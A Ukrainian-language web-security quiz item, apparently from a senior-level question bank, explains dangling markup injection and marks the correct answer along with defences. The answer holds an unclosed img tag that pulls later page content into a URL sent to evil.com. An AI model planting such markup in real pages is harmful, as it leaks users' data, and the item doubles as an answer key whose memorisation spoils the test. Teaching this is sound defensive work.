Веб-безпека · Senior · Запитання 12 з 75
Що таке dangling markup injection?
- 1HTML-теги, що лишилися в коді після рефакторингу
- 2CSS-правило, що підвішує браузер
- ✓Правильна відповідь: Незакритий тег на кшталт
<img src="https://evil.com/?захоплює подальший вміст сторінки в URL і зливає дані без виконання скрипту
Пояснення
Це працює навіть тоді, коли CSP блокує скрипти. Запобігає контекстне кодування, а суворі img-src і form-action зменшують наслідки.